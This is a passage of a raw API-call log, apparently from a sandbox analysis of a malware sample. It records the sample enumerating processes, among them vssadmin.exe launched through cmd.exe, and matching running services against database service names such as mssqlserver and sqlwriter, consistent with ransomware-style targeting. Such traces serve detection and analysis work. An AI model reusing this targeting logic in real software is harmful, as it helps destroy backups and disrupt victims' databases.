lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.760] lstrlenW (lpString="taskhost.exe") returned 12 [0049.760] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0049.761] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0049.761] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0049.761] lstrlenW (lpString="noticed.exe") returned 11 [0049.761] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0049.761] lstrlenW (lpString="uploaded.exe") returned 12 [0049.761] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0049.762] lstrlenW (lpString="hardware.exe") returned 12 [0049.762] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0049.762] lstrlenW (lpString="oracle.exe") returned 10 [0049.762] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0049.762] lstrlenW (lpString="creativity.exe") returned 14 [0049.762] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0049.763] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0049.763] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0049.763] lstrlenW (lpString="edited.exe") returned 10 [0049.763] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0049.763] lstrlenW (lpString="custody.exe") returned 11 [0049.763] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0049.763] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0049.763] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0049.764] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0049.764] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0049.764] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0049.764] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0049.764] lstrlenW (lpString="radius.exe") returned 10 [0049.764] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0049.765] lstrlenW (lpString="extensions.exe") returned 14 [0049.765] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0049.765] lstrlenW (lpString="desperate.exe") returned 13 [0049.765] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0049.765] lstrlenW (lpString="professor-mo.exe") returned 16 [0049.765] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0049.765] lstrlenW (lpString="guidance.exe") returned 12 [0049.765] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0049.766] lstrlenW (lpString="week.exe") returned 8 [0049.766] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0049.766] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0049.766] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0049.766] lstrlenW (lpString="sn featured.exe") returned 15 [0049.766] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0049.767] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0049.767] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0049.767] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0049.767] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.767] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.767] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0049.767] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0049.768] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.768] lstrlenW (lpString="cmd.exe") returned 7 [0049.768] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.768] lstrlenW (lpString="conhost.exe") returned 11 [0049.768] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.769] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.769] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.769] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.769] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.769] lstrlenW (lpString="svchost.exe") returned 11 [0049.769] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0049.769] CloseHandle (hObject=0x3e8) returned 1 [0049.770] Sleep (dwMilliseconds=0x1f4) [0050.384] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297ae0 [0050.385] EnumServicesStatusExW (in: hSCManager=0x3297ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0050.385] GetLastError () returned 0xea [0050.385] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x4e800a8 [0050.385] EnumServicesStatusExW (in: hSCManager=0x3297ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4e800a8, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4e800a8, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0050.386] CloseServiceHandle (hSCObject=0x3297ae0) returned 1 [0050.386] lstrlenW (lpString="Appinfo") returned 7 [0050.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0050.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0050.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0050.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0050.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0050.386] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0050.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.386] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0050.386] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0050.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0050.386] lstrlenW (lpString="AudioSrv") returned 8 [0050.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0050.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0050.386] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0050.386] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0050.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0050.386] lstrlenW (lpString="BFE") returned 3 [0050.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0050.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0050.387] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0050.387] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0050.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0050.387] lstrlenW (lpString="CryptSvc") returned 8 [0050.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0050.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0050.387] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0050.387] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0050.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0050.387] lstrlenW (lpString="CscService") returned 10 [0050.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0050.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0050.387] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0050.387] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0050.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0050.387] lstrlenW (lpString="DcomLaunch") returned 10 [0050.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.387] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0050.387] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0050.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0050.387] lstrlenW (lpString="Dhcp") returned 4 [0050.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0050.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0050.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0050.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0050.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0050.387] lstrlenW (lpString="Dnscache") returned 8 [0050.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0050.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0050.388] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0050.388] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0050.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0050.388] lstrlenW (lpString="DPS") returned 3 [0050.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0050.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0050.388] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0050.388] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0050.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0050.388] lstrlenW (lpString="eventlog") returned 8 [0050.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0050.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0050.388] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0050.388] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0050.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0050.388] lstrlenW (lpString="EventSystem") returned 11 [0050.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0050.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0050.388] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0050.388] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0050.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0050.388] lstrlenW (lpString="gpsvc") returned 5 [0050.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0050.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0050.388] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0050.388] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0050.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0050.388] lstrlenW (lpString="iphlpsvc") returned 8 [0050.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.388] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0050.388] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0050.389] lstrlenW (lpString="LanmanServer") returned 12 [0050.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0050.389] lstrlenW (lpString="LanmanWorkstation") returned 17 [0050.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0050.389] lstrlenW (lpString="lmhosts") returned 7 [0050.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0050.389] lstrlenW (lpString="MMCSS") returned 5 [0050.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0050.389] lstrlenW (lpString="MpsSvc") returned 6 [0050.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0050.390] lstrlenW (lpString="Netman") returned 6 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0050.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0050.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0050.390] lstrlenW (lpString="netprofm") returned 8 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0050.390] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0050.390] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0050.390] lstrlenW (lpString="NlaSvc") returned 6 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0050.390] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0050.390] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0050.390] lstrlenW (lpString="nsi") returned 3 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0050.390] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0050.390] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0050.390] lstrlenW (lpString="PcaSvc") returned 6 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0050.390] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0050.390] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0050.390] lstrlenW (lpString="PlugPlay") returned 8 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0050.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0050.391] lstrlenW (lpString="Power") returned 5 [0050.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0050.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0050.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0050.391] lstrlenW (lpString="ProfSvc") returned 7 [0050.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0050.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0050.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0050.391] lstrlenW (lpString="RpcEptMapper") returned 12 [0050.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0050.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0050.391] lstrlenW (lpString="RpcSs") returned 5 [0050.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0050.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0050.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0050.391] lstrlenW (lpString="SamSs") returned 5 [0050.391] lstrcmpiW 